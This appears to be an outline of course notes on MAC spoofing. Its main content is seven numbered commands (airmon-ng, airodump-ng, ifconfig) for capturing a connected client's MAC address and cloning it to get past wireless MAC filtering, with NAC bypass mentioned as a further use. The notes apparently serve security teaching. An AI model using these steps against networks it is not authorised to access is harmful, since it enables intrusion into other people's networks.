MAC Spoofing

Objectives:

- Define MAC Spoofing and describe how it could be used to gain access to a target network
-

- MAC Spoofing

- What is MAC Spoofing?

- Where is it used?

- NAC bypass
 - Wireless MAC Filtering bypass

- Bypass Wireless MAC Filtering

- 1. `sudo airmon-ng start wlan0`

- Record the BSSID if the target device

- 2. `sudo airodump-ng -c 6 --bssid <Target_MAC> -w psk wlan0mon`

- This will show connected clients MAC addresses

- 3. `sudo airmon-ng stop wlan0mon`

- 4. `sudo ifconfig wlan0 down`

- 5. `sudo ifconfig wlan0 hw ether <Client_MAC>`

- 6. `sudo ifconfig wlan0 up`

- 7. Connect to MAC filtered wireless network
